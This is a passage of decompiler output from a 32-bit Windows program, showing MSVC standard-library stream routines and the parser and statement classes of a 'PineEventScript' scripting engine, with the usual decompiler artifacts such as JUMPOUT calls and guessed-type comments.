edx@32 char **v22; // esi@32 int v23; // ecx@32 char **v24; // ebp@34 char *v25; // ecx@34 int _Oldsize; // [sp+8h] [bp-8h]@12 int _Newsize; // [sp+Ch] [bp-4h]@14 v2 = this; if ( this->_Mystate & 8 ) { v3 = this->baseclass_0._IPnext; v4 = *v3; if ( *v3 ) { v5 = this->_Seekhigh; if ( v4 < v5 ) { v6 = (int)&v4[*v2->baseclass_0._IPcount]; *v3 = v5; *v2->baseclass_0._IPcount = v6 - (_DWORD)v5; } } } result = _Meta; if ( _Meta == -1 ) return 0; v8 = (unsigned int)*v2->baseclass_0._IPnext; if ( !v8 || (v9 = v2->baseclass_0._IPcount, v8 >= v8 + *v9) ) { if ( v2->_Mystate & 2 ) return -1; if ( v8 ) { v11 = *v2->baseclass_0._IPcount - (unsigned int)*v2->baseclass_0._IGfirst; _Oldsize = v8 + v11; v10 = v8 + v11; } else { v10 = 0; _Oldsize = 0; } v12 = v10 >> 1; _Newsize = v10; if ( v10 >> 1 < 0x20 ) v12 = 32; v13 = 0; if ( v12 ) { while ( 2147483647 - v12 < v10 ) { v12 >>= 1; if ( !v12 ) goto LABEL_22; } if ( v12 ) { _Newsize = v10 + v12; v14 = operator new(v10 + v12); v10 = _Oldsize; v13 = v14; result = _Meta; } } LABEL_22: if ( v10 ) { v15 = *v2->baseclass_0._IGfirst; memcpy(v13, v15, 4 * (v10 >> 2)); result = _Meta; memcpy((char *)v13 + 4 * (v10 >> 2), (char *)v15 + 4 * (v10 >> 2), v10 & 3); } if ( v2->_Mystate & 1 ) { operator delete(*(void **)v2->baseclass_0._IGfirst); result = _Meta; v10 = _Oldsize; } v2->_Mystate |= 1u; if ( v10 ) { v17 = v2->baseclass_0._IGfirst; v2->_Seekhigh += v13 - *v17; v18 = *v17; v19 = *v2->baseclass_0._IPnext - *v17; *v2->baseclass_0._IPfirst += v13 - v18; v20 = (int)((char *)v13 + v19); *v2->baseclass_0._IPnext = (char *)v20; *v2->baseclass_0._IPcount = (int)((char *)v13 + _Newsize - v20); if ( v2->_Mystate & 4 ) { *v2->baseclass_0._IGfirst = (char *)v13; *v2->baseclass_0._IGnext = 0; *v2->baseclass_0._IGcount = (int)v13; } else { v21 = *v2->baseclass_0._IPnext; v22 = v2->baseclass_0._IGfirst; v23 = (int)((char *)v13 + *v2->baseclass_0._IGnext - *v22); *v22 = (char *)v13; *v2->baseclass_0._IGnext = (char *)v23; *v2->baseclass_0._IGcount = (int)&v21[-v23 + 1]; } } else { v16 = v2->baseclass_0._IPfirst; v2->_Seekhigh = (char *)v13; *v16 = (char *)v13; *v2->baseclass_0._IPnext = (char *)v13; *v2->baseclass_0._IPcount = _Newsize; if ( v2->_Mystate & 4 ) { *v2->baseclass_0._IGfirst = (char *)v13; *v2->baseclass_0._IGnext = 0; *v2->baseclass_0._IGcount = (int)v13; } else { *v2->baseclass_0._IGfirst = (char *)v13; *v2->baseclass_0._IGnext = (char *)v13; *v2->baseclass_0._IGcount = 1; } } v9 = v2->baseclass_0._IPcount; } --*v9; v24 = v2->baseclass_0._IPnext; v25 = (*v24)++; *v25 = result; return result; } //----- (0049C1C0) -------------------------------------------------------- void __thiscall std::basic_stringbuf_std::allocator>::basic_stringbuf_std::allocator>(std::basic_stringbuf,std::allocator > *this, int _Mode) { std::basic_stringbuf,std::allocator > *v2; // esi@1 signed int v3; // eax@1 v2 = this; std::basic_streambuf>::basic_streambuf>(&this->baseclass_0); v3 = 0; v2->baseclass_0.vfptr = (std::basic_streambuf >Vtbl *)&std::basic_stringbuf_std::allocator>::_vftable_; if ( !(_Mode & 1) ) v3 = 4; if ( !(_Mode & 2) ) v3 |= 2u; if ( _Mode & 8 ) v3 |= 8u; v2->_Mystate = v3; v2->_Seekhigh = 0; } // 5B1210: using guessed type int (__thiscall *std__basic_stringbuf_char_std__char_traits_char__std__allocator_char_____vftable_)(void *p, char); //----- (0049C230) -------------------------------------------------------- void __thiscall std::basic_ostream>::sentry::sentry(std::basic_ostream >::sentry *this, std::basic_ostream > *_Ostr) { std::basic_ostream >::sentry *v2; // edi@1 int v3; // eax@1 int v4; // eax@3 int v5; // ecx@3 char *v6; // eax@3 std::basic_ostream > *v7; // eax@4 v2 = this; this->baseclass_0._Myostr = _Ostr; v3 = *(_DWORD *)&_Ostr->dummy[*(_DWORD *)(*(_DWORD *)&_Ostr->dummy[0] + 4) + 40]; if ( v3 ) std::_Mutex::_Lock((std::_Mutex *)(v3 + 4)); v4 = *(_DWORD *)(*(_DWORD *)&_Ostr->dummy[0] + 4); v5 = *(_DWORD *)&_Ostr->dummy[v4 + 8]; v6 = (char *)_Ostr + v4; if ( !v5 ) { v7 = (std::basic_ostream > *)*((_DWORD *)v6 + 11); if ( v7 ) std::basic_ostream>::flush(v7); } v2->_Ok = *(_DWORD *)&_Ostr->dummy[*(_DWORD *)(*(_DWORD *)&_Ostr->dummy[0] + 4) + 8] == 0; } //----- (0049C2C0) -------------------------------------------------------- char __thiscall std::basic_ios>::widen(std::basic_ios > *this, char _Byte) { std::locale *v2; // eax@1 std::ctype *v3; // eax@1 std::locale v4; // esi@1 std::ctype *v5; // edi@1 unsigned int v6; // eax@2 int v7; // esi@5 std::locale result; // [sp+8h] [bp-14h]@1 std::_Lockit thisa; // [sp+Ch] [bp-10h]@2 int v11; // [sp+18h] [bp-4h]@1 v2 = std::ios_base::getloc(&this->baseclass_0, &result); v11 = 0; v3 = std::use_facet>(v2); v4 = result; v5 = v3; v11 = -1; if ( result ) { std::_Lockit::_Lockit(&thisa, 0); v6 = *(_DWORD *)(*(_DWORD *)&v4 + 4); if ( v6 && v6 < 0xFFFFFFFF ) *(_DWORD *)(*(_DWORD *)&v4 + 4) = v6 - 1; v7 = ((*(_DWORD *)(*(_DWORD *)&v4 + 4) != 0) - 1) & *(_DWORD *)&v4; std::_Lockit::__Lockit(&thisa); if ( v7 ) (**(void (__thiscall ***)(_DWORD, _DWORD))v7)(v7, 1); } return v5->baseclass_0.baseclass_0.vfptr[6].__vecDelDtor((std::locale::facet *)v5, _Byte); } //----- (0049C370) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, PineEventScriptNode::Block *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); memcpy((void *)(v3 + 12), &ele->b_BlockName.bn_Name.i_Identify, 0x10Cu); return 1; } // 49C385: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (0049C3D0) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, PineEventScriptNode::Block *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); memcpy((void *)(v3 + 12), &ele->b_BlockName.bn_Name.i_Identify, 0x10Cu); return 1; } // 49C3E6: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (0049C430) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, PineEventScriptNode::Block *ele) { List *v2; // edx@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // bp@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Next; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; memcpy(&ele->b_BlockName.bn_Name.i_Identify, (const void *)(*(_DWORD *)v6 + 12), 0x10Cu); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (0049C4B0) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, PineEventScriptNode::Block *ele) { List *v2; // edx@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // bp@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Prev; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; memcpy(&ele->b_BlockName.bn_Name.i_Identify, (const void *)(*(_DWORD *)v6 + 12), 0x10Cu); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (0049C530) -------------------------------------------------------- unsigned int __cdecl std::num_put>>::_Getcat(std::locale::facet **_Ppf) { void *v1; // eax@3 std::locale::facet *v2; // eax@4 if ( _Ppf && !*_Ppf ) { v1 = operator new(0x10u); if ( v1 ) std::num_put>>::num_put>>( (std::num_put > > *)v1, 0); else v2 = 0; *_Ppf = v2; } return 4; } //----- (0049C5A0) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 59F228: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (0049C5F0) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 59F228: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (0049C640) -------------------------------------------------------- PineScriptTracer::ScriptTracer *__thiscall PineScriptTracer::ScriptTracer::operator<<(PineScriptTracer::ScriptTracer *this, PineEventScriptNode::Identify *id) { PineScriptTracer::ScriptTracer *v2; // esi@1 PineScriptStack::ProcessStack *v3; // ST04_4@1 PineScriptToken tkn; // [sp+4h] [bp-104h]@1 v2 = this; v3 = this->st_ProcessStack; tkn.pst_Buffer[0] = 0; PineEventScriptNode::Identify::i_GetToken(id, &tkn, v3); return v2; } //----- (0049C690) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::CompareOperator::co_Equal(PineEventScriptNode::CompareOperator *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::CompareOperator *v2; // ebp@1 unsigned __int16 result; // ax@4 unsigned int v4; // eax@5 void *v5; // edi@5 char v6; // cl@6 int second; // [sp+4h] [bp-108h]@2 PineScriptToken tkn; // [sp+8h] [bp-104h]@1 v2 = this; tkn.pst_Buffer[0] = 0; if ( PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) && ((second = (unsigned __int8)tkn.pst_Buffer[0], tkn.pst_Buffer[0] == 61) || tkn.pst_Buffer[0] == 33) ) { v4 = strlen(tkn.pst_Buffer) + 1; v5 = (char *)&v2->baseclass_0.vfptr + 3; do { v6 = *((_BYTE *)v5 + 1); v5 = (char *)v5 + 1; } while ( v6 ); memcpy(v5, &tkn, v4); if ( PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) { if ( tkn.pst_Buffer[0] == 61 ) { PineScriptToken::pst_Merge(&v2->co_Oper, &tkn); v2->co_OperType = (second != 61) + 7; result = 1; } else { memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); v2->co_OperType = 1; result = second == 61; } } else { result = 0; } } else { result = 0; } return result; } //----- (0049C7B0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::CompareOperator::co_Excremation(PineEventScriptNode::CompareOperator *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::CompareOperator *v2; // ebx@1 unsigned __int16 result; // ax@3 unsigned int v4; // eax@4 void *v5; // edi@4 char v6; // cl@5 PineScriptToken tkn; // [sp+4h] [bp-104h]@1 v2 = this; tkn.pst_Buffer[0] = 0; if ( PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) && tkn.pst_Buffer[0] == 61 ) { v4 = strlen(tkn.pst_Buffer) + 1; v5 = (char *)&v2->baseclass_0.vfptr + 3; do { v6 = *((_BYTE *)v5 + 1); v5 = (char *)v5 + 1; } while ( v6 ); memcpy(v5, &tkn, v4); v2->co_OperType = 2; result = 1; } else { result = 0; } return result; } //----- (0049C860) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::CompareOperator::co_NotEqual(PineEventScriptNode::CompareOperator *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::CompareOperator *v2; // esi@1 unsigned __int16 result; // ax@2 unsigned int v4; // eax@5 void *v5; // ecx@5 char v6; // dl@6 PineScriptToken tkn; // [sp+8h] [bp-104h]@1 v2 = this; tkn.pst_Buffer[0] = 0; if ( PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) { if ( tkn.pst_Buffer[0] == 61 ) { v2->co_OperType = (v2->co_Oper.pst_Buffer[0] == 62) + 5; v4 = strlen(tkn.pst_Buffer) + 1; v5 = (char *)&v2->baseclass_0.vfptr + 3; do { v6 = *((_BYTE *)v5 + 1); v5 = (char *)v5 + 1; } while ( v6 ); memcpy(v5, &tkn, v4); } else { v2->co_OperType = (v2->co_Oper.pst_Buffer[0] == 62) + 3; memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); } result = 1; } else { result = 0; } return result; } //----- (0049C940) -------------------------------------------------------- void __thiscall PineEventScriptNode::Identify::_Identify(PineEventScriptNode::Identify *this) { PineEventScriptNode::Identify *v1; // esi@1 PineEventScriptNode::Id *v2; // eax@1 void *v3; // edi@3 v1 = this; this->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Identify::_vftable_; v2 = this->i_Id; if ( v2 ) { v2->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; operator delete(v2); } v3 = v1->i_Exp; if ( v3 ) { PineEventScriptNode::Express::_Express(v1->i_Exp); operator delete(v3); } v1->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; } // 5B0F1C: using guessed type int (*PineEventScriptNode__ScriptAtom___vftable_)(); // 5B0FE4: using guessed type int (__stdcall *PineEventScriptNode__Identify___vftable_)(int tr); //----- (0049C9B0) -------------------------------------------------------- void __thiscall PineEventScriptNode::Block::_Block(PineEventScriptNode::Block *this) { PineEventScriptNode::Block *v1; // esi@1 List *v2; // edi@1 void *v3; // eax@2 void *v4; // edi@5 void *v5; // eax@6 void *v6; // ebx@7 v1 = this; this->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Block::_vftable_; v2 = this->b_StatementList; if ( v2 ) { v3 = v2->l_Array; v2->vfptr = (ListVtbl *)List::_vftable_; if ( v3 ) operator delete__(v3); operator delete(v2); } v4 = v1->b_StatementArray; if ( v4 ) { v5 = *(void **)v4; if ( *(_DWORD *)v4 ) { v6 = (char *)v5 - 4; _eh_vector_destructor_iterator_( v5, 8u, *((_DWORD *)v5 - 1), (void (__thiscall *)(void *))PineEventScriptNode::Statement::_Statement); operator delete__(v6); } operator delete(v4); } v1->b_BlockName.bn_Name.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; v1->b_BlockName.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; v1->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; } // 5B0F1C: using guessed type int (*PineEventScriptNode__ScriptAtom___vftable_)(); // 5B10F8: using guessed type int (__stdcall *List_PineEventScriptNode__Statement____vftable_[3])(__int16 hnd); // 5B1300: using guessed type int (__stdcall *PineEventScriptNode__Block___vftable_)(int tr); //----- (0049CA60) -------------------------------------------------------- void __thiscall PineEventScriptNode::StateVarDeclear::StateVarDeclear(PineEventScriptNode::StateVarDeclear *this) { PineEventScriptNode::StateVarDeclear *v1; // esi@1 v1 = this; this->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::StateVarDeclear::_vftable_; _eh_vector_constructor_iterator_( this->svd_VarName, 0xCu, 64, (void (__thiscall *)(void *))PineEventScriptNode::Identify::Identify, (void (__thiscall *)(void *))PineEventScriptNode::Identify::_Identify); _eh_vector_constructor_iterator_( v1->svd_Express, 0x11Cu, 64, (void (__thiscall *)(void *))PineEventScriptNode::Express::Express, (void (__thiscall *)(void *))PineEventScriptNode::Express::_Express); } // 5B1314: using guessed type int (__stdcall *PineEventScriptNode__StateVarDeclear___vftable_)(int tr); //----- (0049CAE0) -------------------------------------------------------- void __thiscall PineEventScriptNode::OtherStatement::OtherStatement(PineEventScriptNode::OtherStatement *this, char *command, unsigned __int16 idread, int expressnummin, int expressnummax) { PineEventScriptNode::OtherStatement *v5; // eax@1 char *v6; // ecx@1 char v7; // dl@2 v5 = this; this->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::OtherStatement::_vftable_; this->os_Ident.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Identify::_vftable_; this->os_Ident.i_Id = 0; this->os_Ident.i_Exp = 0; this->os_ExpressNumMax = expressnummax; this->os_ExpressNumMin = expressnummin; v6 = command; do { v7 = *v6; v6[(char *)v5 - command + 4] = *v6; ++v6; } while ( v7 ); v5->os_Express[0] = 0; v5->os_Express[1] = 0; v5->os_Express[2] = 0; v5->os_Express[3] = 0; v5->os_Express[4] = 0; v5->os_Express[5] = 0; v5->os_Express[6] = 0; v5->os_Express[7] = 0; v5->os_Express[8] = 0; v5->os_Express[9] = 0; v5->os_Express[10] = 0; v5->os_Express[11] = 0; v5->os_Express[12] = 0; v5->os_Express[13] = 0; v5->os_Express[14] = 0; v5->os_Express[15] = 0; v5->os_Express[16] = 0; v5->os_Express[17] = 0; v5->os_Express[18] = 0; v5->os_Express[19] = 0; v5->os_Express[20] = 0; v5->os_Express[21] = 0; v5->os_Express[22] = 0; v5->os_Express[23] = 0; v5->os_Express[24] = 0; v5->os_Express[25] = 0; v5->os_Express[26] = 0; v5->os_Express[27] = 0; v5->os_Express[28] = 0; v5->os_Express[29] = 0; v5->os_Express[30] = 0; v5->os_Express[31] = 0; v5->os_IDRead = idread; } // 5B0FE4: using guessed type int (__stdcall *PineEventScriptNode__Identify___vftable_)(int tr); // 5B1378: using guessed type int (__stdcall *PineEventScriptNode__OtherStatement___vftable_)(int tr); //----- (0049CBC0) -------------------------------------------------------- void __thiscall PineEventScriptNode::OtherStatement::_OtherStatement(PineEventScriptNode::OtherStatement *this) { PineEventScriptNode::OtherStatement *v1; // ebx@1 PineEventScriptNode::Express **v2; // edi@1 signed int v3; // ebp@1 void *v4; // esi@2 v1 = this; this->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::OtherStatement::_vftable_; v2 = this->os_Express; v3 = 32; do { v4 = *v2; if ( *v2 ) { PineEventScriptNode::Express::_Express(*v2); operator delete(v4); } ++v2; --v3; } while ( v3 ); PineEventScriptNode::Identify::_Identify(&v1->os_Ident); v1->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; } // 5B0F1C: using guessed type int (*PineEventScriptNode__ScriptAtom___vftable_)(); // 5B1378: using guessed type int (__stdcall *PineEventScriptNode__OtherStatement___vftable_)(int tr); //----- (0049CC40) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::StateVarDeclear::sb_CloneMe(PineEventScriptNode::StateVarDeclear *this) { void *v1; // eax@1 PineEventScriptNode::StatementBase *result; // eax@2 v1 = operator new(0x4A08u); if ( v1 ) PineEventScriptNode::StateVarDeclear::StateVarDeclear((PineEventScriptNode::StateVarDeclear *)v1); else result = 0; return result; } //----- (0049CCA0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::StatePermillage::sb_CloneMe(PineEventScriptNode::StatePermillage *this) { PineEventScriptNode::StatementBase *result; // eax@1 result = (PineEventScriptNode::StatementBase *)operator new(0x10u); if ( result ) { result->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::StatePermillage::_vftable_; result[1].baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Identify::_vftable_; result[2].baseclass_0.vfptr = 0; result[3].baseclass_0.vfptr = 0; } else { result = 0; } return result; } // 5B0FE4: using guessed type int (__stdcall *PineEventScriptNode__Identify___vftable_)(int tr); // 5B1350: using guessed type int (__stdcall *PineEventScriptNode__StatePermillage___vftable_)(int tr); //----- (0049CCD0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::StateAssignment::sb_CloneMe(PineEventScriptNode::StateAssignment *this) { PineEventScriptNode::StatementBase *result; // eax@1 result = (PineEventScriptNode::StatementBase *)operator new(0x12Cu); if ( result ) { result->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::StateAssignment::_vftable_; result[1].baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Identify::_vftable_; result[2].baseclass_0.vfptr = 0; result[3].baseclass_0.vfptr = 0; result[4].baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Express::_vftable_; result[5].baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Term::_vftable_; result[7].baseclass_0.vfptr = 0; result[6].baseclass_0.vfptr = 0; result[8].baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::CalculateOperator::_vftable_; LOBYTE(result[9].baseclass_0.vfptr) = 0; result[73].baseclass_0.vfptr = 0; result[74].baseclass_0.vfptr = 0; } else { result = 0; } return result; } // 5B0F2C: using guessed type int (__stdcall *PineEventScriptNode__CalculateOperator___vftable_)(int tr); // 5B0FE4: using guessed type int (__stdcall *PineEventScriptNode__Identify___vftable_)(int tr); // 5B1004: using guessed type int (__stdcall *PineEventScriptNode__Term___vftable_)(int tr); // 5B1168: using guessed type int (__stdcall *PineEventScriptNode__Express___vftable_)(int tr); // 5B1364: using guessed type int (__stdcall *PineEventScriptNode__StateAssignment___vftable_)(int tr); //----- (0049CD30) -------------------------------------------------------- void __thiscall PineEventScriptNode::Block::l_Clone(PineEventScriptNode::Block *this, PineEventScriptNode::Block *blk) { memcpy(&this->b_BlockName.bn_Name.i_Identify, &blk->b_BlockName.bn_Name.i_Identify, 0x10Cu); blk->b_StatementList = 0; blk->b_StatementArray = 0; } //----- (0049CD80) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StateAssignment::sa_Step(PineEventScriptNode::StateAssignment *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::StateAssignment *v4; // ebx@1 PineEventScriptNode::Identify *v5; // edi@1 PineScriptToken *v6; // eax@1 unsigned __int16 result; // ax@2 int v8; // eax@4 v4 = this; v5 = &this->sa_LeftValue; scrpttrcr.st_ProcessStack = ps; PineScriptTracer::ScriptTracer::operator<<(&scrpttrcr, &this->sa_LeftValue); v6 = PineEventScriptNode::Identify::i_GetVariable(v5, ps); if ( v6 ) { if ( (int)v4->sa_Express.baseclass_0.vfptr->sa_Calculate((PineEventScriptNode::ScriptAtom *)&v4->sa_Express, v6, ps) && (v8 = ps->ps_StackPoint) != 0 ) { ps->ps_StackPoint = v8 - 1; result = 1; } else { result = 0; } } else { result = 0; } return result; } //----- (0049CDF0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::CompareOperator::sa_Load(PineEventScriptNode::CompareOperator *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::CompareOperator *v2; // esi@1 char *v3; // edi@1 unsigned __int16 result; // ax@3 v2 = this; v3 = (char *)&this->co_Oper; if ( PineScriptReader::TokenReader::tr_GetToken(tr, &this->co_Oper) ) { switch ( *v3 ) { case 0x3D: result = PineEventScriptNode::CompareOperator::co_Equal(v2, tr); break; case 0x21: result = PineEventScriptNode::CompareOperator::co_Excremation(v2, tr); break; case 0x3C: case 0x3E: result = PineEventScriptNode::CompareOperator::co_NotEqual(v2, tr); break; default: goto LABEL_6; } } else { LABEL_6: result = 0; } return result; } //----- (0049CE90) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::CalculateOperator::sa_Load(PineEventScriptNode::CalculateOperator *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::CalculateOperator *v2; // edi@1 const void *v3; // esi@1 unsigned __int16 result; // ax@3 v2 = this; v3 = &this->co_Oper; if ( PineScriptReader::TokenReader::tr_GetToken(tr, &this->co_Oper) ) { switch ( *(_BYTE *)v3 ) { case 0x2B: v2->co_OperType = 9; result = 1; break; case 0x2D: v2->co_OperType = 10; result = 1; break; case 0x2A: v2->co_OperType = 11; result = 1; break; case 0x2F: v2->co_OperType = 12; result = 1; break; case 0x25: v2->co_OperType = 13; result = 1; break; default: memcpy(&tr->tr_UngetToken, v3, sizeof(tr->tr_UngetToken)); goto LABEL_9; } } else { LABEL_9: result = 0; } return result; } //----- (0049CF60) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::String::sa_Load(PineEventScriptNode::String *this, PineScriptReader::TokenReader *tr) { PineScriptToken *v2; // esi@1 v2 = &this->s_String; if ( PineScriptReader::TokenReader::tr_GetToken(tr, &this->s_String) ) { if ( v2->pst_Buffer[0] == 34 ) return PineScriptToken::pst_RemoveQuatator(v2); memcpy(&tr->tr_UngetToken, v2, sizeof(tr->tr_UngetToken)); } return 0; } //----- (0049CFA0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::Number::sa_Load(PineEventScriptNode::Number *this, PineScriptReader::TokenReader *tr) { char *v2; // esi@1 signed int v3; // eax@2 char *v4; // ecx@3 v2 = (char *)&this->n_Number; if ( PineScriptReader::TokenReader::tr_GetToken(tr, &this->n_Number) ) { LOBYTE(v3) = *v2; if ( !*v2 ) return 1; v4 = v2; while ( 1 ) { v3 = (unsigned __int8)v3; if ( (signed int)(unsigned __int8)v3 < 48 ) break; if ( v3 > 57 ) break; LOBYTE(v3) = (v4++)[1]; if ( !(_BYTE)v3 ) return 1; } memcpy(&tr->tr_UngetToken, v2, sizeof(tr->tr_UngetToken)); } return 0; } //----- (0049CFF0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::Id::sa_Load(PineEventScriptNode::Id *this, PineScriptReader::TokenReader *tr) { char *v2; // esi@1 signed int v3; // eax@2 v2 = (char *)&this->i_Identify; if ( PineScriptReader::TokenReader::tr_GetToken(tr, &this->i_Identify) ) { v3 = (unsigned __int8)*v2; if ( v3 >= 65 && v3 <= 90 || v3 >= 97 && v3 <= 122 || v3 == 95 ) return 1; memcpy(&tr->tr_UngetToken, v2, sizeof(tr->tr_UngetToken)); } return 0; } //----- (0049D040) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::Identify::sa_Load(PineEventScriptNode::Identify *this, PineScriptReader::TokenReader *tr) { unsigned __int16 result; // ax@2 int v3; // edi@3 PineScriptToken *v4; // esi@3 signed int v5; // ecx@3 bool v6; // zf@3 void *v7; // eax@7 PineEventScriptNode::Identify *v8; // [sp+8h] [bp-108h]@1 PineScriptToken tkn; // [sp+Ch] [bp-104h]@1 v8 = this; tkn.pst_Buffer[0] = 0; if ( PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) { v3 = (int)"#"; v4 = &tkn; v5 = 2; v6 = 1; do { if ( !v5 ) break; v6 = v4->pst_Buffer[0] == *(_BYTE *)v3; v4 = (PineScriptToken *)((char *)v4 + 1); ++v3; --v5; } while ( v6 ); if ( v6 ) { v7 = operator new(0x11Cu); if ( v7 ) { *(_DWORD *)v7 = &PineEventScriptNode::Express::_vftable_; *((_DWORD *)v7 + 1) = &PineEventScriptNode::Term::_vftable_; *((_DWORD *)v7 + 3) = 0; *((_DWORD *)v7 + 2) = 0; *((_DWORD *)v7 + 4) = &PineEventScriptNode::CalculateOperator::_vftable_; *((_BYTE *)v7 + 20) = 0; *((_DWORD *)v7 + 69) = 0; *((_DWORD *)v7 + 70) = 0; v8->i_Exp = (PineEventScriptNode::Express *)v7; } else { v7 = 0; v8->i_Exp = 0; } } else { memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); v7 = operator new(0x104u); if ( v7 ) { *(_DWORD *)v7 = &PineEventScriptNode::Id::_vftable_; *((_BYTE *)v7 + 4) = 0; } else { v7 = 0; } v8->i_Id = (PineEventScriptNode::Id *)v7; } result = (**(int (__thiscall ***)(void *, PineScriptReader::TokenReader *))v7)(v7, tr); } else { result = 0; } return result; } // 5B0F2C: using guessed type int (__stdcall *PineEventScriptNode__CalculateOperator___vftable_)(int tr); // 5B0FD4: using guessed type int (__stdcall *PineEventScriptNode__Id___vftable_)(int tr); // 5B1004: using guessed type int (__stdcall *PineEventScriptNode__Term___vftable_)(int tr); // 5B1168: using guessed type int (__stdcall *PineEventScriptNode__Express___vftable_)(int tr); //----- (0049D150) -------------------------------------------------------- unsigned __int16 __thiscall 